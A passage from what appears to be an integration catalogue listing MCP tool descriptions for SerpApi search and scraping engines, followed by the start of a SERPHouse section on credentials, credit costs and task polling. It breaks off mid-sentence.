Google search results in JSON format automatically using custom parameters. Search for keywords by location with SerpApi. Runs SerpApi's google_light engine (GET /search with engine=google_light, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_light&q=QUERY Docs: https://serpapi.com/google-light-api GET /api/v1/serpapi/search/google_light. Scopes: api. serpapi_search_google_local (read) — Scrape Google Local results with SerpApi's Google Local API. Phone numbers, addresses, hours, GPS coordinates and more in code friendly JSON format. Runs SerpApi's google_local engine (GET /search with engine=google_local, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_local&q=QUERY Docs: https://serpapi.com/google-local-api GET /api/v1/serpapi/search/google_local. Scopes: api. serpapi_search_google_local_services (read) — Use SerpApi's Google Local Services API to scrape local ads and their phone numbers, links, rating, hours and more details of services nearby. Runs SerpApi's google_local_services engine (GET /search with engine=google_local_services, which this tool pins). Required: q, data_cid. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_local_services&q=QUERY Docs: https://serpapi.com/google-local-services-api GET /api/v1/serpapi/search/google_local_services. Scopes: api. serpapi_search_google_maps (read) — Scrape Google Maps results automatically with SerpApi. Search for businesses and places in locations using GPS coordinates. Runs SerpApi's google_maps engine (GET /search with engine=google_maps, which this tool pins). Required: type. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_maps&q=QUERY Docs: https://serpapi.com/google-maps-api GET /api/v1/serpapi/search/google_maps. Scopes: api. serpapi_search_google_maps_autocomplete (read) — Scrape Google Maps Autocomplete suggestion results with SerpApi's Google Maps Autocomplete API. Runs SerpApi's google_maps_autocomplete engine (GET /search with engine=google_maps_autocomplete, which this tool pins). Required: q, ll. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_maps_autocomplete&q=QUERY Docs: https://serpapi.com/google-maps-autocomplete-api GET /api/v1/serpapi/search/google_maps_autocomplete. Scopes: api. serpapi_search_google_maps_contributor_reviews (read) — Scrape Google Maps Contributor Reviews without any limitations with SerpApi real-time API. Contributor information and review list are available. Runs SerpApi's google_maps_contributor_reviews engine (GET /search with engine=google_maps_contributor_reviews, which this tool pins). Required: contributor_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&contributor_id=QUERY&engine=google_maps_contributor_reviews Docs: https://serpapi.com/google-maps-contributor-reviews-api GET /api/v1/serpapi/search/google_maps_contributor_reviews. Scopes: api. serpapi_search_google_maps_directions (read) — Scrape Google Maps Directions without any limitations with SerpApi real-time API. Routes information is available. Runs SerpApi's google_maps_directions engine (GET /search with engine=google_maps_directions, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_maps_directions&start_addr=QUERY Docs: https://serpapi.com/google-maps-directions-api GET /api/v1/serpapi/search/google_maps_directions. Scopes: api. serpapi_search_google_maps_photos (read) — Scrape Google Maps Photos without any limitations with SerpApi real-time API. Extract full size images, thumbnails, and user information. Runs SerpApi's google_maps_photos engine (GET /search with engine=google_maps_photos, which this tool pins). Required: data_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&data_id=QUERY&engine=google_maps_photos Docs: https://serpapi.com/google-maps-photos-api GET /api/v1/serpapi/search/google_maps_photos. Scopes: api. serpapi_search_google_maps_posts (read) — Scrape Google Maps Posts without any limitations with SerpApi real-time API. Extract title, description, link,... information. Runs SerpApi's google_maps_posts engine (GET /search with engine=google_maps_posts, which this tool pins). Required: data_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&data_id=QUERY&engine=google_maps_posts Docs: https://serpapi.com/google-maps-posts-api GET /api/v1/serpapi/search/google_maps_posts. Scopes: api. serpapi_search_google_maps_reviews (read) — Scrape Google Maps Reviews without any limitations with SerpApi real-time API. User information, reviews, rating, and more available. Runs SerpApi's google_maps_reviews engine (GET /search with engine=google_maps_reviews, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&data_id=QUERY&engine=google_maps_reviews Docs: https://serpapi.com/google-maps-reviews-api GET /api/v1/serpapi/search/google_maps_reviews. Scopes: api. serpapi_search_google_news (read) — Scrape Google News results with SerpApi's Google News API. Title, snippet, source, date, link and more in code friendly JSON format. Runs SerpApi's google_news engine (GET /search with engine=google_news, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_news&q=QUERY Docs: https://serpapi.com/google-news-api GET /api/v1/serpapi/search/google_news. Scopes: api. serpapi_search_google_news_light (read) — Access the world's fastest Google News API. Scrape Google News results with SerpApi's Google News Light API. Title, snippet, source, date, link and more. Runs SerpApi's google_news_light engine (GET /search with engine=google_news_light, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_news_light&q=QUERY Docs: https://serpapi.com/google-news-light-api GET /api/v1/serpapi/search/google_news_light. Scopes: api. serpapi_search_google_patents (read) — Use SerpApi's Google Patents API to scrape Google Patents information. Runs SerpApi's google_patents engine (GET /search with engine=google_patents, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_patents&q=QUERY Docs: https://serpapi.com/google-patents-api GET /api/v1/serpapi/search/google_patents. Scopes: api. serpapi_search_google_patents_details (read) — Scrape Google Patents Details with SerpApi's Google Patents Details API. Title, abstract, inventors, assignees, claims, and more in code friendly JSON format. Runs SerpApi's google_patents_details engine (GET /search with engine=google_patents_details, which this tool pins). Required: patent_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_patents_details&patent_id=QUERY Docs: https://serpapi.com/google-patents-details-api GET /api/v1/serpapi/search/google_patents_details. Scopes: api. serpapi_search_google_play (read) — Use SerpApi's Google Play Apps Store API to scrape Google Play Store. Runs SerpApi's google_play engine (GET /search with engine=google_play, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_play&q=QUERY Docs: https://serpapi.com/google-play-api GET /api/v1/serpapi/search/google_play. Scopes: api. serpapi_search_google_play_books (read) — Scrape Google Play Books store with SerpApi's Google Play Books Store API. Titles, links, description, rating, and more available. Runs SerpApi's google_play_books engine (GET /search with engine=google_play_books, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_play_books&q=QUERY Docs: https://serpapi.com/google-play-books GET /api/v1/serpapi/search/google_play_books. Scopes: api. serpapi_search_google_play_games (read) — Scrape Google Play Games store with SerpApi's Google Play Games Store API. Titles, links, description, rating, and more available. Runs SerpApi's google_play_games engine (GET /search with engine=google_play_games, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_play_games&q=QUERY Docs: https://serpapi.com/google-play-games GET /api/v1/serpapi/search/google_play_games. Scopes: api. serpapi_search_google_play_movies (read) — Scrape Google Play Movies store with SerpApi's Google Play Movies Store API. Titles, links, description, rating, and more available. Runs SerpApi's google_play_movies engine (GET /search with engine=google_play_movies, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_play_movies&q=QUERY Docs: https://serpapi.com/google-play-movies GET /api/v1/serpapi/search/google_play_movies. Scopes: api. serpapi_search_google_play_product (read) — Use SerpApi's Google Play Product API to scrape Google Play Products and Reviews. Apps, movies, TV, audiobooks and books. Runs SerpApi's google_play_product engine (GET /search with engine=google_play_product, which this tool pins). Required: product_id, store. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_play_product&product_id=QUERY Docs: https://serpapi.com/google-play-product-api GET /api/v1/serpapi/search/google_play_product. Scopes: api. serpapi_search_google_related_questions (read) — Scrape Google's People Also Ask results with SerpApi's Google Related Questions API. You will be able to retrieve more results using the API Runs SerpApi's google_related_questions engine (GET /search with engine=google_related_questions, which this tool pins). Required: next_page_token. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_related_questions&next_page_token=QUERY Docs: https://serpapi.com/google-related-questions-api GET /api/v1/serpapi/search/google_related_questions. Scopes: api. serpapi_search_google_reverse_image (read) — Use Google's Reverse Image Search via API with SerpApi's Google Reverse image API. Search with image URL to get links with matching image. Runs SerpApi's google_reverse_image engine (GET /search with engine=google_reverse_image, which this tool pins). Required: image_url. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_reverse_image&q=QUERY Docs: https://serpapi.com/google-reverse-image GET /api/v1/serpapi/search/google_reverse_image. Scopes: api. serpapi_search_google_scholar (read) — Scrape Google Scholar Results with SerpApi's Google Scholar API. Apply custom search filters and search for publications via date range. Runs SerpApi's google_scholar engine (GET /search with engine=google_scholar, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_scholar&q=QUERY Docs: https://serpapi.com/google-scholar-api GET /api/v1/serpapi/search/google_scholar. Scopes: api. serpapi_search_google_scholar_author (read) — Scrape full Google Scholar Author page with SerpApi's Google Scholar Author API. Articles, citations, cited by table results, co-authors, and more. Runs SerpApi's google_scholar_author engine (GET /search with engine=google_scholar_author, which this tool pins). Required: author_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&author_id=QUERY&engine=google_scholar_author Docs: https://serpapi.com/google-scholar-author-api GET /api/v1/serpapi/search/google_scholar_author. Scopes: api. serpapi_search_google_scholar_case_law (read) — Scrape Google Scholar Case Law page with SerpApi's Google Scholar Case Law API. Court name, cert, dates, short citations, case numbers and more. Runs SerpApi's google_scholar_case_law engine (GET /search with engine=google_scholar_case_law, which this tool pins). Required: case_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&case_id=QUERY&engine=google_scholar_case_law Docs: https://serpapi.com/google-scholar-case-law-api GET /api/v1/serpapi/search/google_scholar_case_law. Scopes: api. serpapi_search_google_shopping (read) — Scrape Google Shopping results automatically with SerpApi. Position, price, rating, source, link, and more Runs SerpApi's google_shopping engine (GET /search with engine=google_shopping, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_shopping&q=QUERY Docs: https://serpapi.com/google-shopping-api GET /api/v1/serpapi/search/google_shopping. Scopes: api. serpapi_search_google_shopping_light (read) — Scrape Google Shopping results faster than ever with SerpApi's Google Shopping Light API. Title, price, rating, source, link, and more in code friendly JSON format. Runs SerpApi's google_shopping_light engine (GET /search with engine=google_shopping_light, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_shopping_light&q=QUERY Docs: https://serpapi.com/google-shopping-light-api GET /api/v1/serpapi/search/google_shopping_light. Scopes: api. serpapi_search_google_short_videos (read) — Use SerpApi's Google Short Videos API to scrape Google Short Videos Results. Short video titles, links, thumbnails, source, duration and more available. Runs SerpApi's google_short_videos engine (GET /search with engine=google_short_videos, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_short_videos&q=QUERY Docs: https://serpapi.com/google-short-videos-api GET /api/v1/serpapi/search/google_short_videos. Scopes: api. serpapi_search_google_sports (read) — Use SerpApi's Google Sports API to scrape Google Sports results. Runs SerpApi's google_sports engine (GET /search with engine=google_sports, which this tool pins). Required: kgmid, sp, type. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_sports&kgmid=QUERY Docs: https://serpapi.com/google-sports-api GET /api/v1/serpapi/search/google_sports. Scopes: api. serpapi_search_google_travel_explore (read) — Scrape Google Travel Explore results with SerpApi's Google Travel Explore API. Runs SerpApi's google_travel_explore engine (GET /search with engine=google_travel_explore, which this tool pins). Required: departure_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&departure_id=QUERY&engine=google_travel_explore Docs: https://serpapi.com/google-travel-explore-api GET /api/v1/serpapi/search/google_travel_explore. Scopes: api. serpapi_search_google_trends (read) — Scrape Google Trends results with SerpApi's Google Trends Results API. Interest over time, Interest by region, Related topics, Related queries. Runs SerpApi's google_trends engine (GET /search with engine=google_trends, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_trends&q=QUERY Docs: https://serpapi.com/google-trends-api GET /api/v1/serpapi/search/google_trends. Scopes: api. serpapi_search_google_trends_autocomplete (read) — Scrape full Google Trends Autocomplete with SerpApi's Google Trends Autocomplete API. Query, title ,type and link Runs SerpApi's google_trends_autocomplete engine (GET /search with engine=google_trends_autocomplete, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_trends_autocomplete&q=QUERY Docs: https://serpapi.com/google-trends-autocomplete GET /api/v1/serpapi/search/google_trends_autocomplete. Scopes: api. serpapi_search_google_trends_trending_now (read) — Scrape full Google Trends Trending Now with SerpApi's Google Trends Trending Now API. Extract daily and realtime search trends which includes the query, related news and explore links, plus other data available. Runs SerpApi's google_trends_trending_now engine (GET /search with engine=google_trends_trending_now, which this tool pins). Required: geo. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_trends_trending_now&geo=QUERY Docs: https://serpapi.com/google-trends-trending-now GET /api/v1/serpapi/search/google_trends_trending_now. Scopes: api. serpapi_search_google_videos (read) — Use SerpApi's Google Videos API to scrape Google Videos Results. Video titles, links, thumbnails, snippets, upload dates and more available. Runs SerpApi's google_videos engine (GET /search with engine=google_videos, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_videos&q=QUERY Docs: https://serpapi.com/google-videos-api GET /api/v1/serpapi/search/google_videos. Scopes: api. serpapi_search_google_videos_light (read) — Access the world's fastest Google Videos API. Scrape Google Videos results faster than ever with SerpApi's Google Videos Light API. Video titles, links, thumbnails, snippets, upload dates and more available. Runs SerpApi's google_videos_light engine (GET /search with engine=google_videos_light, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=google_videos_light&q=QUERY Docs: https://serpapi.com/google-videos-light-api GET /api/v1/serpapi/search/google_videos_light. Scopes: api. serpapi_search_home_depot (read) — Scrape Home Depot product search results with SerpApi's Home Depot Search Engine Results API. Product titles, descriptions, prices and more. Runs SerpApi's home_depot engine (GET /search with engine=home_depot, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=home_depot&q=QUERY Docs: https://serpapi.com/home-depot-search-api GET /api/v1/serpapi/search/home_depot. Scopes: api. serpapi_search_home_depot_product (read) — Scrape full Home Depot Product listing results with SerpApi's Home Depot Product Results API. Title, description, prices, upc, model number and more. Runs SerpApi's home_depot_product engine (GET /search with engine=home_depot_product, which this tool pins). Required: product_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=home_depot_product&product_id=QUERY Docs: https://serpapi.com/home-depot-product GET /api/v1/serpapi/search/home_depot_product. Scopes: api. serpapi_search_home_depot_product_reviews (read) — Scrape full Home Depot Product's reviews with SerpApi's Home Depot Product Reviews API. Title, text, rating, reviewer, time, and more. Runs SerpApi's home_depot_product_reviews engine (GET /search with engine=home_depot_product_reviews, which this tool pins). Required: product_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=home_depot_product_reviews&product_id=QUERY Docs: https://serpapi.com/home-depot-product-reviews GET /api/v1/serpapi/search/home_depot_product_reviews. Scopes: api. serpapi_search_instagram_profile (read) — Scrape Instagram Profile with SerpApi's Instagram Profile API. Profile bio, followers, following, posts, and more. Runs SerpApi's instagram_profile engine (GET /search with engine=instagram_profile, which this tool pins). Required: profile_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=instagram_profile&profile_id=QUERY Docs: https://serpapi.com/instagram-profile-api GET /api/v1/serpapi/search/instagram_profile. Scopes: api. serpapi_search_naver (read) — Scrape Naver search results in JSON format automatically using custom parameters. Search for news, videos, web and knowledge graph. Runs SerpApi's naver engine (GET /search with engine=naver, which this tool pins). Required: query. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=naver&query=QUERY Docs: https://serpapi.com/naver-search-api GET /api/v1/serpapi/search/naver. Scopes: api. serpapi_search_naver_ai_overview (read) — Use SerpApi's Naver AI Overview API to scrape Naver AI Overview results including text blocks, references, and more. Runs SerpApi's naver_ai_overview engine (GET /search with engine=naver_ai_overview, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=naver_ai_overview&query=QUERY Docs: https://serpapi.com/naver-ai-overview-api GET /api/v1/serpapi/search/naver_ai_overview. Scopes: api. serpapi_search_open_table_reviews (read) — Scrape OpenTable Reviews with SerpApi's OpenTable Reviews API. User information, rating, date, comment, owner responses and more. Runs SerpApi's open_table_reviews engine (GET /search with engine=open_table_reviews, which this tool pins). Required: rid. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=open_table_reviews&rid=QUERY Docs: https://serpapi.com/open-table-reviews-api GET /api/v1/serpapi/search/open_table_reviews. Scopes: api. serpapi_search_search_index (read) — SerpApi's own, LLM-first web index. Fast, structured JSON for AI grounding, benchmarking, and search automation. No browser needed. Currently in preview. Runs SerpApi's search_index engine (GET /search with engine=search_index, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=search_index&q=QUERY Docs: https://serpapi.com/search-index-api GET /api/v1/serpapi/search/search_index. Scopes: api. serpapi_search_tripadvisor (read) — Scrape Tripadvisor search results with SerpApi's Tripadvisor Search Engine Results API. Runs SerpApi's tripadvisor engine (GET /search with engine=tripadvisor, which this tool pins). Required: q. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=tripadvisor&q=QUERY Docs: https://serpapi.com/tripadvisor-search-api GET /api/v1/serpapi/search/tripadvisor. Scopes: api. serpapi_search_tripadvisor_place (read) — Scrape full Tripadvisor Place results with SerpApi's Tripadvisor Search Engine Results API. Runs SerpApi's tripadvisor_place engine (GET /search with engine=tripadvisor_place, which this tool pins). Required: place_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=tripadvisor_place&place_id=QUERY Docs: https://serpapi.com/tripadvisor-place-api GET /api/v1/serpapi/search/tripadvisor_place. Scopes: api. serpapi_search_tripadvisor_reviews (read) — Scrape full Tripadvisor Reviews with SerpApi's Tripadvisor Reviews API. Runs SerpApi's tripadvisor_reviews engine (GET /search with engine=tripadvisor_reviews, which this tool pins). Required: place_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=tripadvisor_reviews&place_id=QUERY Docs: https://serpapi.com/tripadvisor-reviews-api GET /api/v1/serpapi/search/tripadvisor_reviews. Scopes: api. serpapi_search_walmart (read) — Scrape Walmart product search results with SerpApi's Walmart Search Engine Results API. Product titles, descriptions, prices, IDs and more. Runs SerpApi's walmart engine (GET /search with engine=walmart, which this tool pins). Required: query. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=walmart&query=QUERY Docs: https://serpapi.com/walmart-search-api GET /api/v1/serpapi/search/walmart. Scopes: api. serpapi_search_walmart_product (read) — Scrape full Walmart Product listing results with SerpApi's Walmart Product API. Product title, description, prices, manufacturer, links and more. Runs SerpApi's walmart_product engine (GET /search with engine=walmart_product, which this tool pins). Required: product_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=walmart_product&product_id=QUERY Docs: https://serpapi.com/walmart-product-api GET /api/v1/serpapi/search/walmart_product. Scopes: api. serpapi_search_walmart_product_reviews (read) — Scrape full Walmart reviews with SerpApi's Walmart Reviews API. Ratings and reviews. Runs SerpApi's walmart_product_reviews engine (GET /search with engine=walmart_product_reviews, which this tool pins). Required: product_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=walmart_product_reviews&product_id=QUERY Docs: https://serpapi.com/walmart-product-reviews-api GET /api/v1/serpapi/search/walmart_product_reviews. Scopes: api. serpapi_search_yahoo (read) — Scrape Yahoo! search results in JSON format automatically using custom parameters. Search for keywords by location, date and more with SerpApi. Runs SerpApi's yahoo engine (GET /search with engine=yahoo, which this tool pins). Required: p. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yahoo&p=QUERY Docs: https://serpapi.com/yahoo-search-api GET /api/v1/serpapi/search/yahoo. Scopes: api. serpapi_search_yahoo_images (read) — Scrape Yahoo! Images results with SerpApi's Yahoo! Images API. Position, title, thumbnail, link, original, source, size and more. Runs SerpApi's yahoo_images engine (GET /search with engine=yahoo_images, which this tool pins). Required: p. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yahoo_images&p=QUERY Docs: https://serpapi.com/yahoo-images-api GET /api/v1/serpapi/search/yahoo_images. Scopes: api. serpapi_search_yahoo_videos (read) — Scrape Yahoo! Videos results with SerpApi's Yahoo! Videos API. Position, title, thumbnail, link, preview, source, duration, date and more. Runs SerpApi's yahoo_videos engine (GET /search with engine=yahoo_videos, which this tool pins). Required: p. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yahoo_videos&p=QUERY Docs: https://serpapi.com/yahoo-videos-api GET /api/v1/serpapi/search/yahoo_videos. Scopes: api. serpapi_search_yandex (read) — Scrape Yandex search results directly in JSON format. Extract organic results for your own keywords with different region and language parameters. Runs SerpApi's yandex engine (GET /search with engine=yandex, which this tool pins). Required: text. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yandex&text=QUERY Docs: https://serpapi.com/yandex-search-api GET /api/v1/serpapi/search/yandex. Scopes: api. serpapi_search_yandex_images (read) — Scrape Yandex Images results with SerpApi's Yandex Images API. Position, title, snippet, thumbnail, original, size, link, and more. Runs SerpApi's yandex_images engine (GET /search with engine=yandex_images, which this tool pins). Required: text. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yandex_images&text=QUERY Docs: https://serpapi.com/yandex-images-api GET /api/v1/serpapi/search/yandex_images. Scopes: api. serpapi_search_yandex_videos (read) — Scrape Yandex Videos results with SerpApi's Yandex Videos API. Position, title, description, thumbnail, original, date, views, preview and more. Runs SerpApi's yandex_videos engine (GET /search with engine=yandex_videos, which this tool pins). Required: text. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yandex_videos&text=QUERY Docs: https://serpapi.com/yandex-videos-api GET /api/v1/serpapi/search/yandex_videos. Scopes: api. serpapi_search_yelp (read) — Scrape Yelp search results in JSON format automatically using custom parameters. Position, title, link, rating, reviews and more available. Runs SerpApi's yelp engine (GET /search with engine=yelp, which this tool pins). Required: find_loc. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yelp&find_desc=QUERY Docs: https://serpapi.com/yelp-search-api GET /api/v1/serpapi/search/yelp. Scopes: api. serpapi_search_yelp_place (read) — SerpApi's Yelp Place API allows you to scrape place results via the unique ID of the product. Title, text, rating, date, ID of the review alongside reviewer's basic information is served in well-structured JSON format. Runs SerpApi's yelp_place engine (GET /search with engine=yelp_place, which this tool pins). Required: place_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yelp_place&place_id=QUERY Docs: https://serpapi.com/yelp-place GET /api/v1/serpapi/search/yelp_place. Scopes: api. serpapi_search_yelp_reviews (read) — Scrape Yelp Reviews results with SerpApi's Yelp Reviews Results API. User information, rating, date, comment, owner responses and more. Runs SerpApi's yelp_reviews engine (GET /search with engine=yelp_reviews, which this tool pins). Required: place_id. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=yelp_reviews&place_id=QUERY Docs: https://serpapi.com/yelp-reviews-api GET /api/v1/serpapi/search/yelp_reviews. Scopes: api. serpapi_search_youtube (read) — Scrape YouTube search engine video results with SerpApi's YouTube Search Engine Results API. Video titles, links, thumbnails, channels and more. Runs SerpApi's youtube engine (GET /search with engine=youtube, which this tool pins). Required: search_query. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=youtube&search_query=QUERY Docs: https://serpapi.com/youtube-search-api GET /api/v1/serpapi/search/youtube. Scopes: api. serpapi_search_youtube_channel (read) — Scrape YouTube channel videos with SerpApi's YouTube Channel API. Video titles, links, thumbnails and more. Runs SerpApi's youtube_channel engine (GET /search with engine=youtube_channel, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&channel_id=QUERY&engine=youtube_channel Docs: https://serpapi.com/youtube-channel-api GET /api/v1/serpapi/search/youtube_channel. Scopes: api. serpapi_search_youtube_video (read) — Scrape full YouTube Video results with SerpApi's YouTube Video API. Title, description, related videos and more. Runs SerpApi's youtube_video engine (GET /search with engine=youtube_video, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=youtube_video&v=QUERY Docs: https://serpapi.com/youtube-video-api GET /api/v1/serpapi/search/youtube_video. Scopes: api. serpapi_search_youtube_video_transcript (read) — Scrape YouTube video transcript with SerpApi's YouTube Video Transcript API. Video transcript text. Runs SerpApi's youtube_video_transcript engine (GET /search with engine=youtube_video_transcript, which this tool pins). Required: v. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=youtube_video_transcript&v=QUERY Docs: https://serpapi.com/youtube-video-transcript GET /api/v1/serpapi/search/youtube_video_transcript. Scopes: api. serpapi_search_zillow (read) — Scrape Zillow search results with SerpApi's Zillow Search API. Property listings, prices, and more. Runs SerpApi's zillow engine (GET /search with engine=zillow, which this tool pins). SerpApi's table marks no parameter required; the documented example is the working shape. Example: https://serpapi.com/search?api_key=YOUR_API_KEY&engine=zillow®ion_id=QUERY Docs: https://serpapi.com/zillow-search-api GET /api/v1/serpapi/search/zillow. Scopes: api. ================================================================================ ## SERPHouse URL: https://www.agenticfabriq.com/integrations/serphouse Section: Integrated Tools SERPHouse — 28 MCP tools Provider key: serphouse. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. serphouse_get_account_info (read) — Read the connected SERPHouse account -- `results.email`, `results.name` and `results.plan[]` with `name`, `plan_type`, `price`, `currency`, `credit_available` and `credit_total`. CALL THIS BEFORE A BATCH: every search on this provider spends credits from a finite monthly allowance that does NOT roll over (Free 4,000, Basic 400,000, Regular 800,000), a standard SERP costs 10 credits, a Google autocomplete 5, and a top-100 search 10 per page scraped. Running out answers HTTP 402 on every search tool at once, which reads like a broken integration rather than an empty wallet. A reference lookup: it scrapes nothing, answers in well under a second and consumed no credits when measured on 2026-09-24. GET /api/v1/serphouse/account/info. Scopes: api. serphouse_get_domain_list (read) — List every search-engine domain SERPHouse will scrape, as a flat array of strings in `results` (`google.com`, `google.co.uk`, `bing.com`, `us.yahoo.com`, ...). This is the authoritative source for the `domain` argument on every search tool -- an unsupported domain is refused rather than silently substituted, and Yahoo in particular requires a REGIONAL domain (`us.yahoo.com`), never bare `yahoo.com`. A reference lookup: it scrapes nothing, answers in well under a second and consumed no credits when measured on 2026-09-24. GET /api/v1/serphouse/domain/list. Scopes: api. serphouse_get_language_list_by_type (read) — List the language codes one engine accepts, as a `results` object mapping code to human name. THE THREE ENGINES SPELL LANGUAGES DIFFERENTLY and a code from the wrong list is not accepted: Google uses `en`/`fr`, Bing uses locale form `en-US`/`fr-FR`, Yahoo uses `lang_en`. Pass `google`, `bing` or `yahoo` as `type`. AN UNRECOGNISED `type` IS NOT REFUSED -- measured 2026-09-24, `/language/list/nosuch` answers 200 with BING's list -- so a typo returns a plausible-looking vocabulary for the wrong engine rather than an error. A reference lookup: it scrapes nothing, answers in well under a second and consumed no credits when measured on 2026-09-24. GET /api/v1/serphouse/language/list/{type}. Scopes: api. serphouse_get_location_search (read) — Search SERPHouse's geo-targeting database and get back rows carrying `id`, `name`, `loc`, `type` and `country_code`. THE `loc` FIELD OF A ROW IS WHAT THE SEARCH TOOLS TAKE -- a full comma-joined string such as `Alba,Texas,United States`, not a free-text place name -- and its `id` is what they take as `loc_id`. Google and Bing have SEPARATE databases, so pass `type=bing` when the search will target Bing. Guessing a location string instead of looking it up here is the most common cause of a search that answers but targets the wrong place. A reference lookup: it scrapes nothing, answers in well under a second and consumed no credits when measured on 2026-09-24. GET /api/v1/serphouse/location/search. Scopes: api. serphouse_get_serp_check (read) — Poll one scheduled task. The state is in `msg`, not in `status`: `Waiting for a process` while it is queued and `Completed` once the result can be fetched (measured 2026-09-24). `status` stays `success` for both -- it reports that the QUESTION was answered, not that the task is done. AN UNKNOWN ID ANSWERS HTTP 404 with `msg: "Not found"` while still saying `status: "success"`, so treat the HTTP status as the authority on whether the id exists. Fetch the result with `serphouse_get_serp_get`. A reference lookup: it scrapes nothing, answers in well under a second and consumed no credits when measured on 2026-09-24. GET /api/v1/serphouse/serp/check. Scopes: api. serphouse_get_serp_get (read) — Fetch a stored SERP result by task id. Works for a task queued with `serphouse_post_serp_schedule` or `serphouse_post_serp_google_advanced_scheduled` AND for a completed LIVE search, whose id is in `results.search_metadata.id` -- so a live result can be re-read later without paying for the scrape twice (measured 2026-09-24). The body is `results.search_metadata`, `results.search_parameters` and `results.results` with the parsed blocks. An unknown or unfinished id answers HTTP 404. A reference lookup: it scrapes nothing, answers in well under a second and consumed no credits when measured on 2026-09-24. GET /api/v1/serphouse/serp/get. Scopes: api. serphouse_get_serp_live (read) — Run a real-time search through the GET form of SERPHouse's live endpoint and get the parsed SERP straight back. DEPRECATED BY THE VENDOR -- its own documentation page carries a deprecation notice -- and `serphouse_post_serp_live` is the same operation in the supported form, so prefer that one. Only `q` is required here, but a search without `domain`, `lang`, `device` and `serp_type` is answered from SERPHouse's 